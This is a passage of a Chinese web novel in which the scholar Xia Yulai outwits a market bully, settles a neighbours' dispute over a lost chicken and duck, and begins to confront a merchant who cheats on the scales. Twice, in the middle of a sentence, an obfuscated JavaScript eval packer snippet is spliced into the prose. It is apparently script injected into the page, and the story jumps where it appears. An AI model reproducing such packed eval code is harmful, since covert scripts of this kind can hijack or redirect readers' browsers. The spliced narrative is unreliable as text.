刘三刀上下打量夏雨来,见他穿得破破烂烂,一副穷酸样,顿时更加不屑,厉声喝道:“臭秀才!老子没工夫跟你废话!滚远点!不然连你一起打!” “好汉别急着动粗嘛!” 夏雨来连忙后退一步,装作害怕的样子,双手连连摆动,“小生只是个读书人,手无缚鸡之力,经不起好汉一拳。小生就是有点好奇,想问问清楚 ——” 他顿了顿,眼神突然一厉,语气依旧诙谐,却字字如刀: “你说这东门街市,你就是王法。那敢问好汉,你这‘王法’,是皇上封的,还是府衙太爷认的?怎么小生读了十几年圣贤书,走遍潮州城,从没听说过,市井之中,还有比官府还大的‘王法’呢?” 二、巧言设套,步步紧逼 这话一出,全场瞬间安静。 所有人都屏住了呼吸。 这话太狠了! 直接把刘三刀的 “老子就是王法”,上升到了藐视官府、甚至挑战皇权的层面! 刘三刀再嚣张,也只是个市井恶霸,他哪里敢真的跟官府、跟皇上叫板? 他脸上的嚣张笑容瞬间僵住,眼神闪过一丝不易察觉的慌乱。 他虽然浑,也知道 “王法” 两个字不能乱说。 “你…… 你个穷酸秀才,别在这里胡言乱语!” 刘三刀色厉内荏,声音都弱了几分,“老子就是随口一说!” “随口一说?” 夏雨来故作惊讶地睁大眼,语气夸张,“好汉,这话可不能随口说啊!‘老子就是王法’,这话要是被府衙的官爷听见了,那可是大罪!往小了说,是扰乱市井;往大了说,那是目无王法、藐视官府!轻则打板子、戴枷锁,重则抓进大牢,判个重罪,那可不是闹着玩的!” 他一边说,一边故意露出一副 “我为你好” 的表情,语重心长,像个教书先生在教训顽劣弟子。 刘三刀的脸一阵红一阵白,气得浑身发抖,却又偏偏无法反驳。 周围的百姓听着,心里一个个暗暗叫绝! 这秀才太厉害了!一句话就把刘三刀的嚣张气焰给打下去了! “好!说得好!” 有人忍不住在心里喊。 阿翠也瞪大了眼睛,看着夏雨来的背影,满眼都是崇拜。 夏雨来见状,心里暗暗一笑,知道第一步已经奏效。 对付刘三刀这种人,第一步就是破掉他的气势,用 “官府” 这座大山压住他,让他不敢肆无忌惮耍横。 气势一破,接下来就好办了。 夏雨来继续趁热打铁,语气一转,从 “教训” 变成了 “讲道理”,依旧斯文诙谐: “好汉,小生不是要为难你。你看,这东门街市,摊位是官府定的规矩,先来后到,人人平等。这位王伯天不亮就出门,辛辛苦苦挑着菜来城里,一家人就靠这点菜活命。你一句话就占了他的摊位,让他一家人喝西北风,这于情于理,都说不过去吧?” 他说着,伸手一指地上被踩烂的青菜,声音提高几分,让所有人都听得清清楚楚: “你看这些菜,绿油油、水灵灵,都是老伯一滴汗一滴泪种出来的。你一脚踩烂,不心疼吗?老伯一把年纪,给你下跪磕头,你忍心吗?市井百姓,赚的都是辛苦钱,你这样强取豪夺,和强盗有什么区别?” 句句在理,字字戳心! 百姓们听得连连点头,议论声渐渐大了起来,不再是害怕的低语,而是带着愤怒的声援。 “秀才说得对!太对了!”“刘三刀,你太欺负人了!”“快把摊位还给王伯!” 声音越来越大,越来越齐。 人多势众,气势一下子就起来了。 刘三刀被几十双眼睛盯着,被几十张嘴声讨,顿时慌了。 他再凶,也架不住这么多人一起反对。 可他又不甘心就这么认输。 一旦今天服软,他以后在东门街还怎么立足?还怎么当恶霸? 刘三刀牙一咬,依旧嘴硬:“老子不管!这摊位我今天占定了!谁来也不好使!” 他说着,伸手就要去推夏雨来:“臭秀才,你给我滚开!” “哎 —— 别动!” 夏雨来早有防备,轻盈地一闪,躲开他的手,同时突然提高声音,朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三爷,你想想。你今天退一步,大家还会说你‘知错能改、有好汉风度’;你要是再闹,真把官爷引来,那可就不是丢面子的事了,是丢自由、丢银子啊!” 一句话,点醒梦中人。 刘三刀猛地一哆嗦。 对啊! 面子重要,还是自由重要? 他咬了咬牙,心里那股嚣张气焰,彻底泄了个干干净净。 他狠狠瞪了夏雨来一眼,却不敢再放肆,只能把怒火咽进肚子里。 然后,他转过头,看着王伯,脸色难看至极,从牙缝里挤出几个字: “老东西…… 摊位…… 还给你……” 声音小得像蚊子叫,可在场所有人都听见了! 王伯一下子愣住了,不敢相信自己的耳朵。 百姓们更是爆发出一阵压抑不住的欢呼! “太好了!”“终于还回来了!”“秀才万岁!” 夏雨来暗暗松了口气,脸上立刻堆起笑容,连忙打圆场,高声说道: “好了好了!既然误会解开,刘三爷也愿意把摊位还给老伯,那这事就圆满解决!大家鼓掌!为刘三爷‘深明大义、知错能改’,鼓个掌!” 他先喊一声鼓掌,自己率先拍手。 百姓们立刻跟着拍手。 “啪啪啪啪 ——” 掌声雷动,响彻街市。 刘三刀站在掌声里,脸一阵红一阵白,尴尬得想找个地缝钻进去。 这哪里是鼓掌?这分明是当众打他的脸! 他这辈子,从没这么丢人过! 夏雨来却像是没看见他的尴尬,依旧笑眯眯地说道:“刘三爷果然是痛快人!以后东门街市,大家和和气气做生意,再也不要争抢摊位,官府看了高兴,百姓也过得安稳,岂不美哉?” 他一边说,一边给王伯使了个眼色。 王伯立刻反应过来,连忙擦了擦眼泪,对着刘三刀拱了拱手,顺着台阶下:“多谢…… 多谢刘三爷。” 刘三刀哼了一声,一句话也说不出来,带着两个跟班,在众人的掌声、目光、议论声中,灰溜溜地转身就走。 那背影,哪里还有半分刚才的嚣张? 活像一只斗败的公鸡,狼狈不堪。 直到刘三刀的身影消失在街角,整条街市才爆发出真正的、毫无顾忌的欢呼声! “好!太好了!”“秀才太厉害了!三言两语就把刘三刀赶跑了!”“以后我们终于不用怕被欺负了!” 百姓们围了上来,围着夏雨来,七嘴八舌地称赞,眼神里满是敬佩、感激、崇拜。 王伯扑通一声,就要给夏雨来跪下:“秀才老爷!谢谢你!谢谢你救了我一家老小!” “哎哎哎 —— 使不得!万万使不得!” 夏雨来连忙扶住他,死活不让他下跪,语气又正经又诙谐,“老伯,你这一跪,可要折煞小生了!小生只是动了动嘴皮子,举手之劳而已!” “不是举手之劳!” 王伯老泪纵横,“你是救了我们全家的命啊!” 阿翠也挤了过来,看着夏雨来,眼睛亮晶晶的,像看英雄一样:“夏雨来,你真的太厉害了!我就知道你一定能行!” 夏雨来被众人夸得有些不好意思,摸了摸鼻子,笑着摆手:“好了好了,大家别夸了,再夸小生就要飘上天了!以后大家都是街坊,谁有困难,尽管开口!我夏雨来,别的不行,专治各种恶霸不平事!” 一番话说得豪气干云,又诙谐风趣,瞬间赢得了所有人的心。 百姓们纷纷点头,一个个把 “夏雨来” 这个名字,牢牢记在了心里。 夏雨来看着王伯重新摆好摊位,看着老人脸上重新露出笑容,看着整条街市恢复了平和热闹,心里也暗暗点头。 第二战,完胜。 他没有动手,没有骂人,没有告状,只靠一张嘴、一套局、一套攻心的道理,就把一个横行街市的恶霸,整治得当众出丑、乖乖认输。 这才是鬼才秀才的本事。 夏雨来笑着和众人告辞,依旧背着他的旧书箱,慢悠悠地继续往前走。 晨光洒在他身上,那件破旧的青布长衫,仿佛都多了几分光彩。 他心里清楚。 今天整的是刘三刀,可真正盯着的,是背后的陈老财。 刘三刀吃了瘪,必定会去找陈老财告状。 而他夏雨来,正好借着这件事,正式向潮州城的恶势力,亮出自己的旗号。 鬼才秀才,正式出山。 市井不平事,只管找夏雨来。 他一边走,一边摸了摸肚子,肚子又轻轻叫了一声。 阿翠的茶好喝,可填不饱肚子。 夏雨来苦笑一声,在心里喃喃自语: “接下来,该想想怎么糊口了。总不能天天靠嘴皮子整恶霸,换饭吃吧?” 他抬头望向热闹的街市,眼睛突然一亮。 一个新的主意,已经在心里悄悄成型。 潮州城的市井烟火,才刚刚开始。而他夏雨来的传奇,才刚刚拉开序幕。 3. 鸡鸭官司 一、晨市刚宁,后院又争 天刚放亮,潮州城东街头的热气就已经腾腾冒起。 昨夜一场微雨,把青石板路洗得发亮,屋檐垂下来的水珠 “嗒嗒” 落在竹筐沿上,清脆得像算盘珠子。王伯的菜摊已经摆得整整齐齐,青菜上还挂着露水,白萝卜带着泥香,老远就能闻见一股新鲜劲儿。王伯一边理菜,一边见人就夸:“咱们城里啊,现在就数夏雨来秀才最公道!有他在,恶霸都不敢来了!” 这话一出,周围几个小贩立刻跟着点头。“可不是嘛!昨天刘三刀那么凶,都被秀才几句话治得服服帖帖!”“以后咱们小老百姓,总算能安安稳稳做生意了!” 不远处,阿翠的茶摊也早早开了张,热气从铜茶壶里冒出来,茶香飘得整条街都能闻到。她一看见夏雨来从巷口慢悠悠走出来,立刻扬声喊:“夏雨来!早啊!今日茶刚泡好,最是暖胃!” 夏雨来今天依旧是那身洗得发白的青布长衫,只是袖口被阿翠悄悄补了一道细纹,看上去干净利落。他背着旧书箱,步子轻缓,一双眼睛滴溜溜转,把整条街的安稳热闹尽收眼底,心里暗暗舒坦。 连续两桩不平事,都被他轻描淡写化解,市井里的人气明显顺了。 他心里清楚:市井安稳,不是靠打跑一两个恶霸,而是让百姓心里有底气、有指望。 “阿翠娘子,你这茶摊如今可是‘平安茶摊’了,恶霸不敢来,生意自然更旺。” 夏雨来笑着走过去,语气诙谐,“小生今日再来一碗,沾沾你的福气。” “瞧你这张嘴!” 阿翠被他说得脸颊微红,麻利斟上一碗热茶,“喝你的茶!再贫嘴,我可就不收你钱了!” “不收钱更好!” 夏雨来接过茶碗,仰头喝了一大口,热茶入喉,浑身舒畅,“小生如今身无分文,就靠一张嘴混吃混喝,勉强糊口。” 两人说笑间,街市上的人越来越多,挑担的、赶路的、买菜的、闲聊的,人声鼎沸,烟火气十足。 夏雨来正打算找个地方歇歇脚,琢磨一下日后怎么糊口 —— 总不能天天靠街坊救济喝茶吃饼 —— 忽然听见街市后巷的方向,传来一阵比昨天刘三刀占摊还要刺耳的吵闹。 那声音不是凶横,是撕心裂肺的对骂,夹杂着哭腔、拍巴掌、跺脚,一听就是街坊邻里闹了大矛盾。 夏雨来眉头微微一挑。 刚把街市上的恶霸按住,后院里的邻里纠纷又冒头了。 他心里暗叹:市井日子,真是一波未平,一波又起。 可叹归叹,他脚步却很诚实,慢悠悠朝着后巷挪去。 周围几个百姓也听见动静,脸色都变了。“坏了,是张婶和李婶!又吵起来了!”“这两家,自从丢了鸡鸭,天天吵,都快打起来了!”“谁劝都没用,一口咬定是对方偷的,再闹下去,非得去官府不可!” 夏雨来一听 “丢了鸡鸭”“互相咬定”,眼睛立刻亮了。 这种案子,最合他胃口。不打、不杀、不抢、不霸,纯靠口舌、人心、常理断是非,最能显他 “鬼才秀才” 的本事。 他心里立刻盘算起路子来:邻里纠纷,最忌讳 “各说各理”“越劝越火”。硬劝不行,硬压更不行。必须先稳情绪,再找破绽,最后用一个谁都无法反驳的法子,一碗水端平。 想罢,他把茶碗递给阿翠:“娘子稍等,小生去去就回。处理完这桩官司,再来喝你的茶。” “你又要去管闲事?” 阿翠担忧道,“这两家比恶霸还难缠,都是街坊,撕破脸就不好了!” “难缠才有意思。” 夏雨来狡黠一笑,眼神亮闪闪的,“恶霸要治,邻里要和。小生这趟去,不是劝架,是断官司。” 他说罢,背着书箱,慢悠悠晃进后巷。 二、两婶对骂,鸡鸭成谜 后巷不宽,两边都是低矮民居,墙根种着葱蒜,屋檐下挂着干辣椒、玉米串,典型的市井小院。 此刻巷子中央,围了黑压压一圈人,男女老少都有,个个一脸为难,想劝又不敢开口。 场子正中间,两个中年妇人,面对面叉腰站着,脸涨得通红,唾沫星子横飞,吵得面红耳赤。 左边这位,是张婶。身材微胖,嗓门极大,一手叉腰,一手指着对方鼻子,气势汹汹:“李翠莲!你给我说清楚!我家那只芦花鸡,红冠子、花尾巴,下蛋最勤,是不是被你藏起来了!你平日里就爱占小便宜,不是你偷的是谁偷的!” 右边这位,是李婶。个子稍瘦,性格泼辣,眼睛通红,像是哭过,一听这话立刻炸了,反手指回去:“张桂香!你少血口喷人!我家那只麻鸭,白脖子、扁嘴巴,会自己回家,是不是被你关起来了!你自己丢了鸡,就想赖我头上,安的什么心!” “我赖你?” 张婶跳脚,“我家鸡丢了三天,你家鸭就跟着不见,不是你是谁!”“我家鸭丢了两天,你家鸡先没影,分明是你贼喊捉贼!” 李婶也哭着喊。 两人你一言我一语,越吵越凶,句句戳心,句句带气,把往日里的鸡毛蒜皮全都翻了出来。 “你上次借我家簸箕不还!”“你上次踩坏我家菜苗不道歉!”“你背后说我闲话!”“你逢人就讲我坏话!” 一桩桩、一件件,本是邻里小过节,此刻全都因为 “鸡鸭官司” 炸了锅。 围观百姓一个个听得头大。 有人劝:“两位婶子,别吵了,都是街坊,低头不见抬头见……”“就是啊,一只鸡一只鸭,值不了几个钱,别伤了和气!” 可谁劝都没用。 张婶立刻哭天抢地:“不是钱的事!是骨气!我家鸡勤勤恳恳下蛋,全家就靠那几个鸡蛋换盐吃!被人偷了,我能不气吗!” 李婶也抹着眼泪:“我家鸭能看院子,能生鸭蛋,孩子就盼着吃咸鸭蛋!现在没了,我怎么跟孩子交代!” 这话一出,众人都沉默了。 市井百姓,最苦的就是这点小生计。一只鸡、一只鸭,看着不起眼,却是一家人的油盐钱、孩子的零嘴、家用的补贴。丢了,是真疼。 所以谁都不肯让步。一口咬定:是对方偷的。 张婶:“肯定是你偷的!你不承认,我就去官府告你!”李婶:“你去告!我还想告你诬陷!咱们到公堂上说理去!” 两人说着,就要拉扯着往府衙走。 这一去,本来一桩邻里小事,就会变成公堂官司。到时候,又是花钱、又是受气、又是丢人,两家彻底结仇,子孙后代都要记恨。 围观百姓都急得不行,却谁也拦不住。 就在这千钧一发之际 —— 一个清亮、诙谐、慢悠悠的声音,从人群外轻飘飘传进来: “哎呀呀 —— 为了一只鸡、一只鸭,两位婶子要闹到公堂上去,值当吗?鸡还没找回来,先把自己气出病,再把两家仇结死,这不是便宜了真正偷鸡鸭的人吗?” 声音不大,却像一盆凉水,瞬间浇在两团火上。 所有人同时转头。 只见人群外,青布长衫的书生负手而立,眉眼弯弯,嘴角噙笑,一双眼睛亮得像看透了一切。 正是夏雨来。 他没挤、没冲、没喊,就那么安安静静站着,偏偏一开口,就压住了全场的火气。 张婶和李婶同时愣住,吵架声戛然而止。 张婶上下打量夏雨来,见是个穷秀才,眉头一皱:“你是谁家的书生?我们邻里吵架,关你什么事?” 李婶也抹了抹眼泪,警惕道:“你别是偏袒谁,过来劝偏架的!” 夏雨来闻言,非但不恼,反倒笑了,往前慢悠悠走了两步,站在两人中间,既不靠左,也不靠右,正好站在正中间。 这一个站位,瞬间就让围观百姓点头。—— 这秀才,一看就是要 “一碗水端平”。 夏雨来先对着张婶一拱手,语气恭敬又诙谐:“这位婶子,小生夏雨来,一介穷秀才,昨日刚归乡。路见不平要管,邻里纠纷要断,不是偏袒谁,是怕你们把小事闹大,便宜外人。” 又转向李婶,同样一拱手,分寸丝毫不差:“这位婶子,你们丢的是鸡、鸭,气的是心,疼的是家。可一闹到公堂,丢的就是脸面、银子、和气。小生不才,愿意免费为你们断这桩鸡鸭官司,保证不偏不倚、公平公正,谁也不亏,谁也不委屈,你们看如何?” 一番话,不火不躁、不偏不袒,先点破利害,再给出出路,还给足了两人台阶。 张婶和李婶对视一眼,都愣住了。 她们吵了三天,从没听过这么讲道理、又这么中听的话。 围观百姓立刻跟着起哄:“两位婶子,就让夏秀才断一断!他昨天断恶霸都公道!”“是啊!夏秀才最公正!肯定能给你们一个说法!” 人多嘴齐,气势一顺,两人的火气顿时消了大半。 张婶犹豫片刻,哼了一声:“好!我就信你这秀才一次!你要是断得不公,我连你一起说!” 李婶也点头:“我也信!你要是能把鸡鸭找出来,我给你作揖!” “好!” 夏雨来一拍手,笑得狡黠,“既然两位信得过小生,那这官司,咱们现在就断!不过 —— 断案之前,小生要先问你们三句话,你们必须说实话,一句都不许瞒。只要说实话,这案子,立刻水落石出!” 三、三问定案,不露锋芒 夏雨来神色一正,瞬间从 “诙谐秀才” 变成 “断案先生”。可他语气依旧轻松,不吓人、不逼人,一句句问得清清楚楚。 他先看向张婶,语气平稳:“张婶,你先说实话 —— 你家芦花鸡,平时最爱在哪里跑?最爱吃什么?夜里睡在哪里?” 张婶一愣,没想到他不问 “谁偷的”,先问这些鸡毛蒜皮的小事,只好老实回答:“我家鸡…… 平时就在我家院子、墙根跑,爱吃米粒、菜叶、虫子,夜里就睡在我家门后鸡笼里。三天前早上,我一开笼,就没影了!” 夏雨来点点头,没评价,没表态,脸上毫无表情,让人看不出他在想什么。 紧接着,他转向李婶,问的话一模一样,只是换了 “鸭”:“李婶,你也说实话 —— 你家麻鸭,平时最爱在哪里游?最爱吃什么?夜里睡在哪里?” 李婶也老实回答:“我家鸭就在门口小水沟里游,爱吃螺蛳、水草、剩饭,夜里就睡在水沟边鸭窝。两天前傍晚,我去喂鸭,就不见了!” 夏雨来依旧点点头,不褒不贬,不动声色。 围观百姓都好奇极了。“秀才问这些干什么?”“这能断出谁偷的?” 夏雨来不理会议论,抛出第二问,依旧平稳如水: “张婶,你丢鸡之后,可曾在李婶家院子,见过你家芦花鸡?” 张婶立刻摇头:“没有!我偷偷看过,没看见!” 夏雨来又问李婶:“你丢鸭之后,可曾在张婶家院子,见过你家麻鸭?” 李婶也立刻摇头:“没有!我也瞅过,没有踪影!” 听到这里,围观百姓都泄了气。都没看见,那这案子怎么断?难道真要闹到公堂? 连张婶和李婶都又要上火。 就在这时,夏雨来突然眼睛一亮,抛出第三问,声音微微提高,带着一丝不容置疑的力量: “好!最后一句,你们两个都听好 ——你们丢了鸡鸭之后,可曾在巷子口、水沟边、草丛里,见过鸡毛、鸭毛、血迹、骨头?” 这话一问,全场瞬间安静。 张婶和李婶同时一怔,仔细回想,然后一起摇头。 张婶:“没…… 没有血迹,也没鸡毛骨头。”李婶:“我也没看见!干干净净的,什么都没有!” 这句话一出来,夏雨来心里咯噔一声,彻底稳了。 他脸上依旧不动声色,可心里已经把整个案子盘得明明白白: 第一,鸡在鸡笼丢,鸭在鸭窝丢,不是在外面乱跑被偷,是夜里被人顺手牵走。第二,两家互相搜过,都没看见对方家里有自己的鸡鸭,基本可以排除对方偷藏。第三,没有鸡毛、没有鸭毛、没有血迹、没有骨头,说明鸡鸭没有被杀死、没有被吃掉,而是被人抓走,活带走了。 市井小巷,谁会半夜抓走活鸡活鸭?不是仇人,不是恶霸,多半是过路的小偷、外乡的货郎、赶夜路的歹人,顺手牵走,拿到别的街市卖掉。 而这两位街坊,纯粹是因为鸡鸭同时丢失,互相怀疑,把气撒在对方身上。 想通这一层,夏雨来差点笑出声。这案子,根本不是 “谁偷谁”,是两人都被贼偷了,却自己跟自己吵架。 可他不能直接说。直接说,两人不会信,还会说他偏袒、和稀泥。 必须用一个谁都无法反驳、看得见、摸得着的法子,当众断清楚。 夏雨来心里算盘一打,立刻有了主意。 他故意板起脸,对着两人,一字一句,朗声说道:“好了!三句问完,实话听够。小生现在,已经断出这桩鸡鸭官司的全部真相!” 四、巧断是非,一碗水端平 这话一出,全场哗然。 “断出来了?”“真的假的?这么快?”“秀才快说!到底是谁的问题!” 张婶和李婶同时绷紧身子,眼睛瞪得溜圆,一眨不眨盯着夏雨来。 夏雨来却不慌不忙,先对着围观百姓一拱手,声音清亮,让所有人都听得清清楚楚: “诸位街坊邻里,今日这桩鸡鸭官司,小生断案,只讲三个道理,不偏张婶,不偏李婶,完全一碗水端平!谁若不服,当场可以反驳!” 他顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——对方没偷你,你没冤枉对方,两家还是好街坊,和气还在,脸面还在,比什么都强。” 他说着,走到两人正中间,一手轻轻拉住一个,把两人的手往一起一合。 “来,两位婶子,听小生一句劝。鸡丢了,可以再养;鸭丢了,可以再买;街坊和气丢了,多少钱都买不回来。今日这官司,小生断:两家都无错,都是被贼偷,互相不追究,依旧好街坊!” 话说到这份上,谁还能再吵? 张婶看着李婶,尴尬一笑:“他婶子…… 这几天,是我脾气急,说话不好听,你别往心里去。” 李婶也连忙摇头:“不不不,是我先冤枉你,我也不对。咱们都被贼骗了,还自己跟自己斗气,真是不应该。” 两人你一言我一语,互相道歉,刚才的仇怨,瞬间烟消云散。 围观百姓一看,顿时爆发出雷鸣般的掌声和欢呼! “好!断得好!”“夏秀才太公正了!一碗水端平!”“以后街坊吵架,就找夏雨来!” 掌声雷动,整条后巷都热闹起来。 夏雨来看着两人和好,心里松了口气,脸上露出狡黠又欣慰的笑。 他断案,从来不是为了显本事。是为了市井安稳,邻里和睦。 恶霸要治,是除暴;邻里要和,是安良。一暴一安,才是市井真正的日子。 五、市井传名,鬼才立足 张婶和李婶彻底和好,心里又感激又不好意思,都拉着夏雨来,要报答他。 张婶:“秀才,我家还有鸡蛋,我给你拿一筐!”李婶:“我家还有鸭蛋,我给你煮一大碗!” 夏雨来连忙摆手,笑得诙谐:“两位婶子,使不得使不得!小生断案,只为街坊安稳,不为鸡蛋鸭蛋。你们只要以后和和气气,比给我什么都强!” 他越是推辞,两人越是过意不去。 最后还是阿翠从街口跑过来,笑着解围:“你们就别为难他了!夏雨来秀才,就是这个脾气,帮人出头,分文不取,只求公道!” 众人一听,更加敬佩。 一个穷秀才,不贪钱、不贪利、不贪名,就凭一肚子智慧、一张利嘴,为百姓出头、为邻里断案,这样的人,在市井里太少见了。 不知谁先喊了一句:“以后咱们潮州城,就认夏秀才断公道!”“对!鬼才夏雨来,公正不偏袒!” “鬼才秀才” 四个字,一喊出来,立刻传遍整条巷。 夏雨来听了,反倒摸了摸鼻子,故作委屈:“哎哎哎,‘鬼才’归‘鬼才’,可别把小生说成鬼啊!小生是正经秀才!” 一句话,把所有人都逗得哈哈大笑。 刚才紧张压抑的气氛,彻底变成一片欢喜。 夏雨来看着和睦的街坊,听着热闹的笑声,闻着巷子里的饭菜香、茶香、菜香,心里忽然踏实下来。 他在外应试多年,追求功名,却处处碰壁,受尽冷眼。可回到这市井小巷,只凭 “公道” 二字,就赢得了百姓的信任、尊重、爱戴。 功名富贵,未必比得上这一口人间烟火。 他心里暗暗打定主意:从今往后,不考功名不做官,只做这潮州城的市井公道人。恶霸来了,他治;邻里纠纷,他断;百姓有难,他帮。 用他的鬼才、智慧、诙谐、侠义,守住这一方市井的安稳与烟火。 想罢,夏雨来对着众人一拱手,朗声笑道:“诸位街坊,今日这鸡鸭官司,小生算是断完了!以后不管是恶霸欺市,还是邻里纠纷,只要你们开口,小生夏雨来,随叫随到!专治各种不平,专断各种是非!” 一番话说得豪气干云,又诙谐风趣,瞬间赢得所有人的心。 百姓们纷纷点头,一个个把 “夏雨来” 三个字,牢牢刻在心里。 晨光越升越高,照在后巷的青石板上,暖洋洋的。鸡鸭官司彻底了结,两家和好如初,围观百姓散去,街市恢复平静。 阿翠走到夏雨来身边,递上一碗重新斟好的热茶,眼睛亮晶晶的:“夏雨来,你真了不起。三言两语,就把一桩要闹到公堂的官司,断得服服帖帖。” 夏雨来接过茶碗,仰头喝尽,笑道:“不是我了不起,是道理最了不起。市井百姓,要的不是强权,不是偏袒,是一碗水端平。” 他顿了顿,望着热闹起来的街巷,眼神清澈而坚定: “阿翠娘子,你看着吧。以后这潮州城,恶霸不敢横行,邻里不敢相欺,百姓安稳过日子,这,才是我夏雨来,真正想断出来的世道。” 风一吹,他的青布长衫轻轻摆动。穷秀才的身影,在市井晨光里,显得格外挺拔。 而他的传奇,才刚刚开始。 4. 奸商短秤 一、晨市烟火,米行生怨 天刚蒙蒙亮,潮州城东门外的街市就活了。青石板路被晨露打湿,凉丝丝的水汽裹着竹筐里青菜的清香、油条摊的焦香、豆腐花的豆香,一路飘进长巷深处。挑夫的扁担 “吱呀” 响,小贩的吆喝此起彼伏,妇人挎着竹篮讨价还价,娃娃攥着糖人追跑打闹 —— 这是最地道的粤东市井,热闹、琐碎、滚烫,又藏着数不尽的小委屈、小算计。 夏雨来依旧是那身洗得发白的青布长衫,袖口被阿翠悄悄补了两针,鞋尖的破洞也缝得整整齐齐。他背着旧书箱,步子慢悠悠,先绕到阿翠的茶摊。 老板娘一见他就笑,声音脆生生的:“夏雨来,今日来得早!刚泡好的凤凰单丛,暖胃解乏!” “阿翠娘子,你这茶摊如今是‘公道茶摊’,恶霸退散,邻里和睦,生意自然日日红火。” 夏雨来拱手一笑,语气诙谐,“小生今日再来一碗,沾沾你的正气。” “少贫嘴。” 阿翠麻利斟上热茶,“昨日你断鸡鸭官司,整条巷都把你当活菩萨,再这么下去,你都不用吃饭,靠口碑就能饱。” 夏雨来接过茶碗,指尖一暖,仰头喝下大半碗,茶水清润回甘,浑身筋骨都松快了。他抹抹嘴,叹道:“口碑不能当米吃,小生如今最愁的,还是柴米油盐。功名考不得,做官做不得,总不能天天靠街坊救济,终究要寻个糊口的营生。” “你这鬼才秀才,还怕没饭吃?” 阿翠笑道,“只要你肯开口,整条街的百姓都愿意供着你。可你偏偏心高气傲,只讲理,不收钱。” “不是心高气傲。” 夏雨来眼神一正,语气却依旧轻松,“市井百姓,赚的都是血汗钱。我夏雨来管不平事、断街坊案,是守一个‘公道’,若是收了钱,公道就变了味,变成了买卖,那我和那些欺压百姓的恶霸奸商,又有什么两样?” 这番话说得坦荡,阿翠听得点头,心里越发敬佩。 两人正说笑间,前方米行方向,突然传来一阵激烈的争执,夹杂着老人的哭声、妇人的怒骂,还有围观百姓的叹息声,比往日任何喧闹都刺耳。 夏雨来眉头微挑。潮州城东门最大的米店 ——大丰米行。 老板姓钱,人称钱剥皮,个子不高,脑袋尖滑,一双小眼睛总是滴溜溜转,一肚子算计。平日里卖米,表面和气,暗地里却在秤上做手脚,缺斤少两是家常便饭。百姓明知他坑人,可全城就他这家米最齐全,不得不买,只能忍气吞声。 夏雨来心里暗忖:恶霸要治,奸商更要治。恶霸欺的是身,奸商欺的是心、是血、是养家糊口的活命钱。 他放下茶碗,对阿翠道:“娘子稍候,小生去看看。又是哪家的公道,被人踩在了脚底下。” “又是钱剥皮?” 阿翠脸色一沉,“那人最黑心,秤上全是鬼名堂,谁也斗不过他。你小心点,别被他反咬一口。” “斗不过?” 夏雨来嘴角一扬,眼神狡黠如狐,“小生别的不行,就会拆穿鬼把戏。他的秤有鬼,我的脑子有光,正好照一照这米行里的阴暗。” 说罢,他背起书箱,不紧不慢,踱向大丰米行。 二、老妇哭街,短秤真相 大丰米行门口,早已围得水泄不通。 人群中央,一位年近七旬的老婆婆,头发花白,裹着头巾,跪在青石板上,面前摊着一个粗布口袋,里面装着刚买的大米。老婆婆双手拍地,哭得老泪纵横,声音嘶哑。 “天理何在啊…… 我这一把老骨头,起早贪黑捡破烂、帮人洗衣,攒下十几文钱,就想给生病的老伴买半升米熬粥…… 他钱老板居然给我缺半斤!半斤米啊!那是我老伴的救命粮啊!” 老婆婆一边哭,一边捶打着地面,泪水混着尘土,满脸狼狈。 旁边站着一个中年妇人,是老婆婆的儿媳,也气得浑身发抖,指着米店门口的钱剥皮,怒斥道:“钱老板!我们明明买的是半升米,你用秤称得好好的,可我们拿到隔壁杂货铺一复秤,足足少了半斤!你这不是明抢吗?” 米店门口,钱剥皮一身绸缎长衫,手摇折扇,脸上堆着虚伪的笑,眼神却阴鸷刻薄。他身后站着两个伙计,一个守着米缸,一个守着一杆大杆秤—— 那秤漆皮光亮,秤砣沉甸甸,看上去十分正规,实则暗藏机关。 钱剥皮慢悠悠扇着扇子,皮笑肉不笑:“这位大嫂,说话要凭良心。我大丰米行,童叟无欺,秤是官府校验过的公平秤,怎么可能缺斤少两?一定是你们在路上撒了米,反倒来讹我!” “我们没有!” 妇人急得眼眶通红,“米装在口袋里,扎得严严实实,一路没撒!我们一走出你米店,立刻去隔壁复秤,就是少了半斤!你敢不敢当着所有人的面,重新称一遍?” “重新称?” 钱剥皮眼睛一眯,心里有鬼,嘴上却强硬,“我的秤,只在我店里称。出了店门,米袋离了我的眼,谁知道你们做了什么手脚?想讹我钱,没门!” “你 ——” 妇人气得说不出话。 老婆婆更是哭得晕厥过去,众人连忙扶住,又是掐人中,又是喂水,场面一片混乱。 围观百姓个个义愤填膺,却又敢怒不敢言。 有人低声叹道:“钱剥皮的秤,全城都知道有鬼,可我们能有什么办法?他的秤是‘鬼秤’,当面称准,转身就少,谁也抓不到把柄。”“是啊,上次我买一升米,复秤少了七两,找他理论,他反说我自己偷吃,把我赶出来。”“他背后有陈老财撑腰,连官府都睁一只眼闭一只眼,我们小老百姓,只能吃哑巴亏。” 百姓你一言我一语,全是委屈和无奈。 市井小民,最看重的就是米粮。一斤米、一两粮,都是从牙缝里省出来的,是一家人的口粮,是病人的救命粮。被奸商这么一坑,等于直接从百姓碗里抢饭吃。 夏雨来站在人群外围,从头看到尾,把前因后果听得一清二楚。 他没有立刻出声,而是先不动声色,观察那杆秤。 只见那杆大杆秤,挂在米店横梁下,秤盘锃亮,秤杆笔直,秤砣沉甸甸。伙计舀米、装袋、挂秤、提绳、报数,动作熟练流畅,看上去毫无破绽。 可夏雨来是什么人?饱读诗书,心思缜密,最擅长从细微处找破绽。 